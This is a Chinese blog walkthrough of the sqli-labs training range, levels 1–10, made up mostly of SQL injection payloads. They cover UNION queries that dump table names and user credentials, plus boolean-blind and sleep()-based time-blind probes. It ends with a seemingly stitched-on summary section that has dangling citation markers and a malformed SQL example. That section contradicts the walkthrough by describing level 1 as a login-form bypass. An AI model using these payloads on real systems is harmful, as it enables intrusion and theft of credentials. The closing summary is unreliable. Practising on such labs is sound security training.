sqli-labs 靶场通关(1-10)

1.sqli-labs第一关

1.提示你输入数字值的ID作为参数,我们输入?id=1

2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

手动测试查询返回字段个数,爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

换语法:?id=-1'union select 1,2,3--+

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数

语法:?id=-1'union select 1,database(),version()--+

构造poc:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

2.sqli-labs第二关

第二关和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的

语法:
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

3.sqli-labs第三关

第三关当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

通过上面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4.sqli-labs第四关

在id后加入反斜杠\,发现是双引号括号")闭合


?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

5.sqli-labs第五关

寻找注入点 

在id后加入反斜杠\发现这个应该是单引号'闭合

1.使用left()函数进行截取测试

?id=1' and left(version(),1)=3%23       //截取version()最左侧得到的值是否为3,如果为3返回you are in...

?id=1' and left(version(),1)=5%23   //you are in...

2.使用length判断长度

3.利用ascii码猜测数据库名

?id=1' and ascii(substr(database(),1,1))=115%23   //115对应的是s

利用Burp跑出数据库名

1                115            s
2                101            e
3                99            c
4                117            u
5                114            r
6                105            i
7                116            t
8                121            y
库名:security

6.sqli-labs第六关

在id后加入反斜杠\发现这个应该是双引号"闭合

直接上轮子,其余步骤和第五关差不多

7.sqli-labs第七关

第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。

8.sqli-labs第八关

使用单引号闭合

使用length判断长度

?id=1' and ascii(substr(database(),1,1))=115 -- qwe     //正常 库名首字母ascii码115所对应的字母是s    

9.sqli-labs第九关

1.使用sleep()函数进行时间盲注

?id=1' and if(ascii(substr(database(),1,1))=100,sleep(10),1) -- qw

bp测试跑包

115很突出,说明库名首字母的ascii码是115所对应的字符是s

10.sqli-labs第十关

第十关和第九关一样只需要将单引号换成双引号。

?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- qwe

### SQLi-Lab 解题思路及通关攻略 #### 实验室介绍 SQLi-Lab 是一个用于学习和实践 SQL 注入漏洞利用的在线平台。通过一系列挑战,参与者可以深入了解不同类型的 SQL 注入攻击及其防御方法。 #### 基础概念理解 为了成功完成 SQLi-Lab 的各个关卡,了解基本的 SQL 注入原理至关重要。SQL 注入是一种代码注入技术,攻击者可以通过该技术操纵数据库查询语句,在未经授权的情况下访问、修改甚至删除数据[^1]。 #### 关卡一:基础 GET 请求注入 此关的主要目标是在登录表单中输入特定字符串来绕过身份验证机制。尝试使用 `' OR '1'='1` 这样的条件表达式作为用户名或密码字段的内容,这会使得原本正常的 WHERE 子句变为永远成立的状态,从而实现未授权登录[^2]。 ```sql SELECT * FROM users WHERE username='' OR '1'='1 AND password='' OR '1'='1; ``` #### 关卡二:基于错误的信息泄露 当应用程序未能正确处理异常情况并返回详细的错误消息时,则可能暴露出有关后台数据库结构的重要线索。此时可利用这些信息进一步构建更复杂的注入载荷。例如,向 URL 参数附加 `UNION SELECT NULL, table_name FROM information_schema.tables LIMIT 0,1--` 可能会让服务器响应显示出某个存在的表名[^3]。 #### 高级技巧应用 随着难度增加,简单的布尔盲注不再适用;这时就需要掌握时间延迟型(Time-based Blind Injection)、带外通道(Out-of-band OOB)以及其他高级手法。对于某些特殊场景下的测试点来说,巧妙运用函数如 SLEEP() 或 BENCHMARK() 能够帮助判断是否存在潜在的安全隐患[^4]。 #### 安全编码建议 除了熟悉各种攻击模式之外,更重要的是学会如何编写安全可靠的 Web 应用程序代码以防止此类威胁的发生。遵循最小权限原则、采用参数化查询接口以及定期审查第三方库都是有效措施之一[^5]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值